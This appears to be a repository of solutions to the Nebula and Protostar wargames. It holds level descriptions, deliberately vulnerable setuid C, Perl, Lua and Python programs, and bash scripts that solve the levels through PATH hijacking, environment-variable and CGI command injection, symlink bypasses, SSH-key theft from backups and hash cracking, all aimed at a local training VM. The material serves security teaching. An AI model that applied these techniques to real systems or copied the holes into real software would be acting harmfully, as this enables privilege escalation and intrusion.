├── Nebula ├── Level 00 │ ├── README.md │ └── flag ├── Level 01 │ ├── README.md │ ├── flag │ └── level1.c ├── Level 02 │ ├── README.md │ ├── flag │ └── level2.c ├── Level 03 │ ├── README.md │ └── flag ├── Level 04 │ ├── README.md │ ├── flag │ └── level4.c ├── Level 05 │ ├── README.md │ └── flag ├── Level 06 │ ├── README.md │ └── flag ├── Level 07 │ ├── README.md │ └── flag ├── Level 08 │ ├── README.md │ └── flag ├── Level 09 │ ├── README.md │ ├── flag │ └── level9.php ├── Level 10 │ ├── README.md │ └── basic.c ├── Level 11 │ ├── README.md │ └── level11.c ├── Level 12 │ ├── README.md │ └── level12.lua ├── Level 13 │ ├── README.md │ └── level13_safe.c ├── Level 14 │ └── README.md ├── Level 15 │ └── README.md ├── Level 16 │ ├── README.md │ └── index.pl ├── Level 17 │ ├── README.md │ └── level17.py ├── Level 18 │ ├── README.md │ └── level18.c ├── Level 19 │ ├── README.md │ └── level19.c └── README.md └── Protostar ├── Final 0 └── final0.c ├── Final 1 └── final1.c ├── Final 2 └── final2.c ├── Format 0 └── format0.c ├── Format 1 └── format1.c ├── Format 2 └── format2.c ├── Format 3 └── format3.c ├── Format 4 └── format4.c ├── Heap 0 └── heap0.c ├── Heap 1 └── heap1.c ├── Heap 2 └── heap2.c ├── Heap 3 └── heap3.c ├── Net 0 └── net0.c ├── Net 1 └── net1.c ├── Net 2 └── net2.c ├── Net 3 └── net3.c ├── README.md ├── Stack 0 ├── flag ├── flag.py └── stack0.c ├── Stack 1 ├── flag ├── flag.py └── stack1.c ├── Stack 2 ├── flag.py └── stack2.c ├── Stack 3 ├── flag ├── flag.py └── stack3.c ├── Stack 4 ├── flag ├── flag.py └── stack4.c ├── Stack 5 └── stack5.c ├── Stack 6 └── stack6.c └── Stack 7 └── stack7.c /Nebula/Level 00/README.md: -------------------------------------------------------------------------------- 1 | # Level00 2 | 3 | This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories. 4 | 5 | Alternatively, look at the find man page. 6 | 7 | To access this level, log in as level00 with the password of level00. 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 00/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Search for binaries owned by user flag00. 4 | find -type f -executable -user flag00 2>/dev/null 5 | 6 | # Execute the binary. 7 | /bin/.../flag00 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 01/README.md: -------------------------------------------------------------------------------- 1 | # Level01 2 | 3 | There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? 4 | 5 | To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 01/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Create a file called echo with the shellcode. 4 | printf "#!/bin/bash\ngetflag" > /home/level01/echo 5 | 6 | # Set the file permissions to be read-write-execute for everyone. 7 | chmod 777 /home/level01/echo 8 | 9 | # Overwrite the PATH environment variable so that the previously created 10 | # /home/level01/echo is executed instead of /bin/echo. 11 | PATH=/home/level01/:$PATH /home/flag01/flag01 12 | 13 | -------------------------------------------------------------------------------- /Nebula/Level 01/level1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char **argv, char **envp) 8 | { 9 | gid_t gid; 10 | uid_t uid; 11 | gid = getegid(); 12 | uid = geteuid(); 13 | 14 | setresgid(gid, gid, gid); 15 | setresuid(uid, uid, uid); 16 | 17 | system("/usr/bin/env echo and now what?"); 18 | } 19 | 20 | -------------------------------------------------------------------------------- /Nebula/Level 02/README.md: -------------------------------------------------------------------------------- 1 | # Level02 2 | 3 | There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? 4 | 5 | To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 02/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Overwrite the USER environment variable with the shellcode for the binary to 4 | # execute. 5 | USER="; getflag; #" /home/flag02/flag02 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 02/level2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char **argv, char **envp) 8 | { 9 | char *buffer; 10 | 11 | gid_t gid; 12 | uid_t uid; 13 | 14 | gid = getegid(); 15 | uid = geteuid(); 16 | 17 | setresgid(gid, gid, gid); 18 | setresuid(uid, uid, uid); 19 | 20 | buffer = NULL; 21 | 22 | asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); 23 | printf("about to call system(\"%s\")\n", buffer); 24 | 25 | system(buffer); 26 | } 27 | 28 | -------------------------------------------------------------------------------- /Nebula/Level 03/README.md: -------------------------------------------------------------------------------- 1 | # Level03 2 | 3 | Check the home directory of flag03 and take note of the files there. 4 | 5 | There is a crontab that is called every couple of minutes. 6 | 7 | To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03. 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 03/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Create a file called flag with the shellcode. 4 | printf "#!/bin/bash\ngetflag > /home/flag03/flagged" > /home/flag03/writable.d/flag 5 | 6 | # Set the file permissions to be read-write-execute for everyone so that user 7 | # flag03's cron can execute it. 8 | chmod 777 /home/flag03/writable.d/flag 9 | 10 | -------------------------------------------------------------------------------- /Nebula/Level 04/README.md: -------------------------------------------------------------------------------- 1 | # Level04 2 | 3 | This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :) 4 | 5 | To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 04/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Create a symbolic link that references the file called 'token'. 4 | ln -s /home/flag04/token /home/level04/link 5 | 6 | # Call the binary with the symbolic link as the argument. 7 | /home/flag04/flag04 /home/level04/link 8 | 9 | # Log in as flag04 using the password. 10 | su flag04 -c getflag 11 | 12 | -------------------------------------------------------------------------------- /Nebula/Level 04/level4.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char **argv, char **envp) 9 | { 10 | char buf[1024]; 11 | int fd, rc; 12 | 13 | if(argc == 1) { 14 | printf("%s [file to read]\n", argv[0]); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | if(strstr(argv[1], "token") != NULL) { 19 | printf("You may not access '%s'\n", argv[1]); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | fd = open(argv[1], O_RDONLY); 24 | if(fd == -1) { 25 | err(EXIT_FAILURE, "Unable to open %s", argv[1]); 26 | } 27 | 28 | rc = read(fd, buf, sizeof(buf)); 29 | 30 | if(rc == -1) { 31 | err(EXIT_FAILURE, "Unable to read fd %d", fd); 32 | } 33 | 34 | write(1, buf, rc); 35 | } 36 | 37 | -------------------------------------------------------------------------------- /Nebula/Level 05/README.md: -------------------------------------------------------------------------------- 1 | # Level05 2 | 3 | Check the flag05 home directory. You are looking for weak directory permissions 4 | 5 | To do this level, log in as the level05 account with the password level05. Files for this level can be found in /home/flag05. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 05/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Copy the backup to the home directory. 4 | cp /home/flag05/.backup/backup-19072011.tgz /home/level05/ 5 | 6 | # Decompress the SSH keys from the backup. 7 | tar -xvf /home/level05/backup-19072011.tgz 8 | 9 | # Log in as user "flag05" using the SSH keys. 10 | ssh flag05@localhost getflag 11 | 12 | -------------------------------------------------------------------------------- /Nebula/Level 06/README.md: -------------------------------------------------------------------------------- 1 | # Level06 2 | 3 | The flag06 account credentials came from a legacy unix system. 4 | 5 | To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 06/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Get the user's hash from /etc/passwd. 4 | cat /etc/passwd | grep flag06 > /home/level06/passwd 5 | 6 | # Use John the Ripper to crack the DES hash. 7 | # john /home/level06/passwd 8 | 9 | # Log in as user "flag06" using the password. 10 | su flag06 -c getflag 11 | 12 | -------------------------------------------------------------------------------- /Nebula/Level 07/README.md: -------------------------------------------------------------------------------- 1 | # Level07 2 | 3 | The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server. 4 | 5 | To do this level, log in as the level07 account with the password level07. Files for this level can be found in /home/flag07. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 07/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Send the shellcode using Netcat. 4 | echo -e "GET /index.cgi?Host=%3B+getflag%3B+%23 HTTP/1.0\r\n\r\n" | nc localhost 7007 5 | 6 | -------------------------------------------------------------------------------- /Nebula/Level 08/README.md: -------------------------------------------------------------------------------- 1 | # Level08 2 | 3 | World readable files strike again. Check what that user was up to, and use it to log into flag08 account. 4 | 5 | To do this level, log in as the level08 account with the password level08. Files for this level can be found in /home/flag08. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 08/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Open capture.pcap and inspect the contents with Wireshark. 4 | wireshark /home/flag08/capture.pcap 5 | 6 | # Log in as user "flag08" using the password. 7 | su flag08 -c getflag 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 09/README.md: -------------------------------------------------------------------------------- 1 | # Level09 2 | 3 | There’s a C setuid wrapper for some vulnerable PHP code… 4 | 5 | To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 09/flag: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Create a file called emails.txt with the shellcode. 4 | echo '[email {${`getflag`}}]' > /home/level09/emails.txt 5 | 6 | # Execute the binary. 7 | /home/flag09/flag09 /home/level09/emails.txt 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 09/level9.php: -------------------------------------------------------------------------------- 1 | ", $contents); 18 | 19 | return $contents; 20 | } 21 | 22 | $output = markup($argv[1], $argv[2]); 23 | 24 | print $output; 25 | 26 | ?> 27 | 28 | -------------------------------------------------------------------------------- /Nebula/Level 10/README.md: -------------------------------------------------------------------------------- 1 | # Level10 2 | 3 | The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call. 4 | 5 | To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 10/basic.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char **argv) 12 | { 13 | char *file; 14 | char *host; 15 | 16 | if(argc < 3) { 17 | printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); 18 | exit(1); 19 | } 20 | 21 | file = argv[1]; 22 | host = argv[2]; 23 | 24 | if(access(argv[1], R_OK) == 0) { 25 | int fd; 26 | int ffd; 27 | int rc; 28 | struct sockaddr_in sin; 29 | char buffer[4096]; 30 | 31 | printf("Connecting to %s:18211 .. ", host); fflush(stdout); 32 | 33 | fd = socket(AF_INET, SOCK_STREAM, 0); 34 | 35 | memset(&sin, 0, sizeof(struct sockaddr_in)); 36 | sin.sin_family = AF_INET; 37 | sin.sin_addr.s_addr = inet_addr(host); 38 | sin.sin_port = htons(18211); 39 | 40 | if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { 41 | printf("Unable to connect to host %s\n", host); 42 | exit(EXIT_FAILURE); 43 | } 44 | 45 | #define HITHERE ".oO Oo.\n" 46 | if(write(fd, HITHERE, strlen(HITHERE)) == -1) { 47 | printf("Unable to write banner to host %s\n", host); 48 | exit(EXIT_FAILURE); 49 | } 50 | #undef HITHERE 51 | 52 | printf("Connected!\nSending file .. "); fflush(stdout); 53 | 54 | ffd = open(file, O_RDONLY); 55 | if(ffd == -1) { 56 | printf("Damn. Unable to open file\n"); 57 | exit(EXIT_FAILURE); 58 | } 59 | 60 | rc = read(ffd, buffer, sizeof(buffer)); 61 | if(rc == -1) { 62 | printf("Unable to read from file: %s\n", strerror(errno)); 63 | exit(EXIT_FAILURE); 64 | } 65 | 66 | write(fd, buffer, rc); 67 | 68 | printf("wrote file!\n"); 69 | 70 | } else { 71 | printf("You don't have access to %s\n", file); 72 | } 73 | } 74 | 75 | -------------------------------------------------------------------------------- /Nebula/Level 11/README.md: -------------------------------------------------------------------------------- 1 | # Level11 2 | 3 | The /home/flag11/flag11 binary processes standard input and executes a shell command. 4 | 5 | There are two ways of completing this level, you may wish to do both :-) 6 | 7 | To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11. 8 | 9 | -------------------------------------------------------------------------------- /Nebula/Level 11/level11.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | /* 10 | * Return a random, non predictable file, and return the file descriptor for it. 11 | */ 12 | 13 | int getrand(char **path) 14 | { 15 | char *tmp; 16 | int pid; 17 | int fd; 18 | 19 | srandom(time(NULL)); 20 | 21 | tmp = getenv("TEMP"); 22 | pid = getpid(); 23 | 24 | asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 25 | 'A' + (random() % 26), '0' + (random() % 10), 26 | 'a' + (random() % 26), 'A' + (random() % 26), 27 | '0' + (random() % 10), 'a' + (random() % 26)); 28 | 29 | fd = open(*path, O_CREAT|O_RDWR, 0600); 30 | unlink(*path); 31 | return fd; 32 | } 33 | 34 | void process(char *buffer, int length) 35 | { 36 | unsigned int key; 37 | int i; 38 | 39 | key = length & 0xff; 40 | 41 | for(i = 0; i < length; i++) { 42 | buffer[i] ^= key; 43 | key -= buffer[i]; 44 | } 45 | 46 | system(buffer); 47 | } 48 | 49 | #define CL "Content-Length: " 50 | 51 | int main(int argc, char **argv) 52 | { 53 | char line[256]; 54 | char buf[1024]; 55 | char *mem; 56 | int length; 57 | int fd; 58 | char *path; 59 | 60 | if(fgets(line, sizeof(line), stdin) == NULL) { 61 | errx(1, "reading from stdin"); 62 | } 63 | 64 | if(strncmp(line, CL, strlen(CL)) != 0) { 65 | errx(1, "invalid header"); 66 | } 67 | 68 | length = atoi(line + strlen(CL)); 69 | 70 | if(length < sizeof(buf)) { 71 | if(fread(buf, length, 1, stdin) != length) { 72 | err(1, "fread length"); 73 | } 74 | process(buf, length); 75 | } else { 76 | int blue = length; 77 | int pink; 78 | 79 | fd = getrand(&path); 80 | 81 | while(blue > 0) { 82 | printf("blue = %d, length = %d, ", blue, length); 83 | 84 | pink = fread(buf, 1, sizeof(buf), stdin); 85 | printf("pink = %d\n", pink); 86 | 87 | if(pink <= 0) { 88 | err(1, "fread fail(blue = %d, length = %d)", blue, length); 89 | } 90 | write(fd, buf, pink); 91 | 92 | blue -= pink; 93 | } 94 | 95 | mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); 96 | if(mem == MAP_FAILED) { 97 | err(1, "mmap"); 98 | } 99 | process(mem, length); 100 | } 101 | 102 | } 103 | 104 | -------------------------------------------------------------------------------- /Nebula/Level 12/README.md: -------------------------------------------------------------------------------- 1 | # Level12 2 | 3 | There is a backdoor process listening on port 50001. 4 | 5 | To do this level, log in as the level12 account with the password level12. Files for this level can be found in /home/flag12. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 12/level12.lua: -------------------------------------------------------------------------------- 1 | local socket = require("socket") 2 | local server = assert(socket.bind("127.0.0.1", 50001)) 3 | 4 | function hash(password) 5 | prog = io.popen("echo "..password.." | sha1sum", "r") 6 | data = prog:read("*all") 7 | prog:close() 8 | 9 | data = string.sub(data, 1, 40) 10 | 11 | return data 12 | end 13 | 14 | 15 | while 1 do 16 | local client = server:accept() 17 | client:send("Password: ") 18 | client:settimeout(60) 19 | local line, err = client:receive() 20 | if not err then 21 | print("trying " .. line) -- log from where ;\ 22 | local h = hash(line) 23 | 24 | if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then 25 | client:send("Better luck next time\n"); 26 | else 27 | client:send("Congrats, your token is 413**CARRIER LOST**\n") 28 | end 29 | 30 | end 31 | 32 | client:close() 33 | end 34 | 35 | -------------------------------------------------------------------------------- /Nebula/Level 13/README.md: -------------------------------------------------------------------------------- 1 | # Level13 2 | 3 | There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id. 4 | 5 | To do this level, log in as the level13 account with the password level13. Files for this level can be found in /home/flag13. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 13/level13_safe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define FAKEUID 1000 8 | 9 | int main(int argc, char **argv, char **envp) 10 | { 11 | int c; 12 | char token[256]; 13 | 14 | if(getuid() != FAKEUID) { 15 | printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); 16 | printf("The system administrators will be notified of this violation\n"); 17 | exit(EXIT_FAILURE); 18 | } 19 | 20 | // snip, sorry :) 21 | 22 | printf("your token is %s\n", token); 23 | 24 | } 25 | 26 | -------------------------------------------------------------------------------- /Nebula/Level 14/README.md: -------------------------------------------------------------------------------- 1 | # Level14 2 | 3 | This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :) 4 | 5 | To do this level, log in as the level14 account with the password level14. Files for this level can be found in /home/flag14. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 15/README.md: -------------------------------------------------------------------------------- 1 | # Level15 2 | 3 | strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. 4 | 5 | You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. 6 | 7 | Clean up after yourself :) 8 | 9 | To do this level, log in as the level15 account with the password level15. Files for this level can be found in /home/flag15. 10 | 11 | -------------------------------------------------------------------------------- /Nebula/Level 16/README.md: -------------------------------------------------------------------------------- 1 | # Level16 2 | 3 | There is a perl script running on port 1616. 4 | 5 | To do this level, log in as the level16 account with the password level16. Files for this level can be found in /home/flag16. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 16/index.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | 3 | use CGI qw{param}; 4 | 5 | print "Content-type: text/html\n\n"; 6 | 7 | sub login { 8 | $username = $_[0]; 9 | $password = $_[1]; 10 | 11 | $username =~ tr/a-z/A-Z/; # conver to uppercase 12 | $username =~ s/\s.*//; # strip everything after a space 13 | 14 | @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; 15 | foreach $line (@output) { 16 | ($usr, $pw) = split(/:/, $line); 17 | 18 | 19 | if($pw =~ $password) { 20 | return 1; 21 | } 22 | } 23 | 24 | return 0; 25 | } 26 | 27 | sub htmlz { 28 | print("Login resuls"); 29 | if($_[0] == 1) { 30 | print("Your login was accepted
"); 31 | } else { 32 | print("Your login failed
"); 33 | } 34 | print("Would you like a cookie?

\n"); 35 | } 36 | 37 | htmlz(login(param("username"), param("password"))); 38 | 39 | -------------------------------------------------------------------------------- /Nebula/Level 17/README.md: -------------------------------------------------------------------------------- 1 | # Level17 2 | 3 | There is a python script listening on port 10007 that contains a vulnerability. 4 | 5 | To do this level, log in as the level17 account with the password level17. Files for this level can be found in /home/flag17. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 17/level17.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import pickle 5 | import time 6 | import socket 7 | import signal 8 | 9 | signal.signal(signal.SIGCHLD, signal.SIG_IGN) 10 | 11 | def server(skt): 12 | line = skt.recv(1024) 13 | 14 | obj = pickle.loads(line) 15 | 16 | for i in obj: 17 | clnt.send("why did you send me " + i + "?\n") 18 | 19 | skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 20 | skt.bind(('0.0.0.0', 10007)) 21 | skt.listen(10) 22 | 23 | while True: 24 | clnt, addr = skt.accept() 25 | 26 | if(os.fork() == 0): 27 | clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) 28 | server(clnt) 29 | exit(1) 30 | 31 | -------------------------------------------------------------------------------- /Nebula/Level 18/README.md: -------------------------------------------------------------------------------- 1 | # Level18 2 | 3 | Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it. 4 | 5 | To do this level, log in as the level18 account with the password level18. Files for this level can be found in /home/flag18. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 18/level18.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | struct { 10 | FILE *debugfile; 11 | int verbose; 12 | int loggedin; 13 | } globals; 14 | 15 | #define dprintf(...) if(globals.debugfile) \ 16 | fprintf(globals.debugfile, __VA_ARGS__) 17 | #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ 18 | fprintf(globals.debugfile, __VA_ARGS__) 19 | 20 | #define PWFILE "/home/flag18/password" 21 | 22 | void login(char *pw) 23 | { 24 | FILE *fp; 25 | 26 | fp = fopen(PWFILE, "r"); 27 | if(fp) { 28 | char file[64]; 29 | 30 | if(fgets(file, sizeof(file) - 1, fp) == NULL) { 31 | dprintf("Unable to read password file %s\n", PWFILE); 32 | return; 33 | } 34 | fclose(fp); 35 | if(strcmp(pw, file) != 0) return; 36 | } 37 | dprintf("logged in successfully (with%s password file)\n", 38 | fp == NULL ? "out" : ""); 39 | 40 | globals.loggedin = 1; 41 | 42 | } 43 | 44 | void notsupported(char *what) 45 | { 46 | char *buffer = NULL; 47 | asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); 48 | dprintf(what); 49 | free(buffer); 50 | } 51 | 52 | void setuser(char *user) 53 | { 54 | char msg[128]; 55 | 56 | sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); 57 | printf("%s\n", msg); 58 | 59 | } 60 | 61 | int main(int argc, char **argv, char **envp) 62 | { 63 | char c; 64 | 65 | while((c = getopt(argc, argv, "d:v")) != -1) { 66 | switch(c) { 67 | case 'd': 68 | globals.debugfile = fopen(optarg, "w+"); 69 | if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); 70 | setvbuf(globals.debugfile, NULL, _IONBF, 0); 71 | break; 72 | case 'v': 73 | globals.verbose++; 74 | break; 75 | } 76 | } 77 | 78 | dprintf("Starting up. Verbose level = %d\n", globals.verbose); 79 | 80 | setresgid(getegid(), getegid(), getegid()); 81 | setresuid(geteuid(), geteuid(), geteuid()); 82 | 83 | while(1) { 84 | char line[256]; 85 | char *p, *q; 86 | 87 | q = fgets(line, sizeof(line)-1, stdin); 88 | if(q == NULL) break; 89 | p = strchr(line, '\n'); if(p) *p = 0; 90 | p = strchr(line, '\r'); if(p) *p = 0; 91 | 92 | dvprintf(2, "got [%s] as input\n", line); 93 | 94 | if(strncmp(line, "login", 5) == 0) { 95 | dvprintf(3, "attempting to login\n"); 96 | login(line + 6); 97 | } else if(strncmp(line, "logout", 6) == 0) { 98 | globals.loggedin = 0; 99 | } else if(strncmp(line, "shell", 5) == 0) { 100 | dvprintf(3, "attempting to start shell\n"); 101 | if(globals.loggedin) { 102 | execve("/bin/sh", argv, envp); 103 | err(1, "unable to execve"); 104 | } 105 | dprintf("Permission denied\n"); 106 | } else if(strncmp(line, "logout", 4) == 0) { 107 | globals.loggedin = 0; 108 | } else if(strncmp(line, "closelog", 8) == 0) { 109 | if(globals.debugfile) fclose(globals.debugfile); 110 | globals.debugfile = NULL; 111 | } else if(strncmp(line, "site exec", 9) == 0) { 112 | notsupported(line + 10); 113 | } else if(strncmp(line, "setuser", 7) == 0) { 114 | setuser(line + 8); 115 | } 116 | } 117 | 118 | return 0; 119 | } 120 | 121 | -------------------------------------------------------------------------------- /Nebula/Level 19/README.md: -------------------------------------------------------------------------------- 1 | # Level19 2 | 3 | There is a flaw in the below program in how it operates. 4 | 5 | To do this level, log in as the level19 account with the password level19. Files for this level can be found in /home/flag19. 6 | 7 | -------------------------------------------------------------------------------- /Nebula/Level 19/level19.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int main(int argc, char **argv, char **envp) 10 | { 11 | pid_t pid; 12 | char buf[256]; 13 | struct stat statbuf; 14 | 15 | /* Get the parent's /proc entry, so we can verify its user id */ 16 | 17 | snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); 18 | 19 | /* stat() it */ 20 | 21 | if(stat(buf, &statbuf) == -1) { 22 | printf("Unable to check parent process\n"); 23 | exit(EXIT_FAILURE); 24 | } 25 | 26 | /* check the owner id */ 27 | 28 | if(statbuf.st_uid == 0) { 29 | /* If root started us, it is ok to start the shell */ 30 | 31 | execve("/bin/sh", argv, envp); 32 | err(1, "Unable to execve"); 33 | } 34 | 35 | printf("You are unauthorized to run this program\n"); 36 | } 37 | 38 | -------------------------------------------------------------------------------- /Nebula/README.md: -------------------------------------------------------------------------------- 1 | # Nebula 2 | 3 | ## About 4 | 5 | Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at 6 | 7 | * SUID files 8 | * Permissions 9 | * Race conditions 10 | * Shell meta-variables 11 | * $PATH weaknesses 12 | * Scripting language weaknesses 13 | * Binary compilation failures 14 | 15 | At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible. 16 | 17 | ## Download 18 | 19 | Download the ISO from [Google Drive](https://drive.google.com/open?id=1ydZi-KADeqOIAGUV5TSafg9JDk-fWcjS). 20 | 21 | ## Getting started 22 | 23 | ### Levels 24 | 25 | Have a look at the levels available on the side bar, and log into the virtual machine as the username “levelXX” with a password of “levelXX” (without quotes), where XX is the level number. 26 | 27 | Some levels can be done purely remotely. 28 | 29 | ### Getting root 30 | 31 | In case you need root access to change stuff (such as key mappings, etc), you can do the following: 32 | 33 | Log in as the “nebula” user account with the password “nebula” (both without quotes), followed by “sudo -s” with the password “nebula”. You’ll then have root privileges in order to change whatever needs to be changed. 34 | -------------------------------------------------------------------------------- /Protostar/Final 0/final0.c: -------------------------------------------------------------------------------- 1 | #include "../common/common.c" 2 | 3 | #define NAME "final0" 4 | #define UID 0 5 | #define GID 0 6 | #define PORT 2995 7 | 8 | /* 9 | * Read the username in from the network 10 | */ 11 | 12 | char *get_username() 13 | { 14 | char buffer[512]; 15 | char *q; 16 | int i; 17 | 18 | memset(buffer, 0, sizeof(buffer)); 19 | gets(buffer); 20 | 21 | /* Strip off trailing new line characters */ 22 | q = strchr(buffer, '\n'); 23 | if(q) *q = 0; 24 | q = strchr(buffer, '\r'); 25 | if(q) *q = 0; 26 | 27 | /* Convert to lower case */ 28 | for(i = 0; i < strlen(buffer); i++) { 29 | buffer[i] = toupper(buffer[i]); 30 | } 31 | 32 | /* Duplicate the string and return it */ 33 | return strdup(buffer); 34 | } 35 | 36 | int main(int argc, char **argv, char **envp) 37 | { 38 | int fd; 39 | char *username; 40 | 41 | /* Run the process as a daemon */ 42 | background_process(NAME, UID, GID); 43 | 44 | /* Wait for socket activity and return */ 45 | fd = serve_forever(PORT); 46 | 47 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 48 | set_io(fd); 49 | 50 | username = get_username(); 51 | 52 | printf("No such user %s\n", username); 53 | } 54 | 55 | -------------------------------------------------------------------------------- /Protostar/Final 1/final1.c: -------------------------------------------------------------------------------- 1 | include "../common/common.c" 2 | 3 | #include 4 | 5 | #define NAME "final1" 6 | #define UID 0 7 | #define GID 0 8 | #define PORT 2994 9 | 10 | char username[128]; 11 | char hostname[64]; 12 | 13 | void logit(char *pw) 14 | { 15 | char buf[512]; 16 | 17 | snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw); 18 | 19 | syslog(LOG_USER|LOG_DEBUG, buf); 20 | } 21 | 22 | void trim(char *str) 23 | { 24 | char *q; 25 | 26 | q = strchr(str, '\r'); 27 | if(q) *q = 0; 28 | q = strchr(str, '\n'); 29 | if(q) *q = 0; 30 | } 31 | 32 | void parser() 33 | { 34 | char line[128]; 35 | 36 | printf("[final1] $ "); 37 | 38 | while(fgets(line, sizeof(line)-1, stdin)) { 39 | trim(line); 40 | if(strncmp(line, "username ", 9) == 0) { 41 | strcpy(username, line+9); 42 | } else if(strncmp(line, "login ", 6) == 0) { 43 | if(username[0] == 0) { 44 | printf("invalid protocol\n"); 45 | } else { 46 | logit(line + 6); 47 | printf("login failed\n"); 48 | } 49 | } 50 | printf("[final1] $ "); 51 | } 52 | } 53 | 54 | void getipport() 55 | { 56 | int l; 57 | struct sockaddr_in sin; 58 | 59 | l = sizeof(struct sockaddr_in); 60 | if(getpeername(0, &sin, &l) == -1) { 61 | err(1, "you don't exist"); 62 | } 63 | 64 | sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); 65 | } 66 | 67 | int main(int argc, char **argv, char **envp) 68 | { 69 | int fd; 70 | char *username; 71 | 72 | /* Run the process as a daemon */ 73 | background_process(NAME, UID, GID); 74 | 75 | /* Wait for socket activity and return */ 76 | fd = serve_forever(PORT); 77 | 78 | /* Set the client socket to STDIN, STDOUT, and STDERR */ 79 | set_io(fd); 80 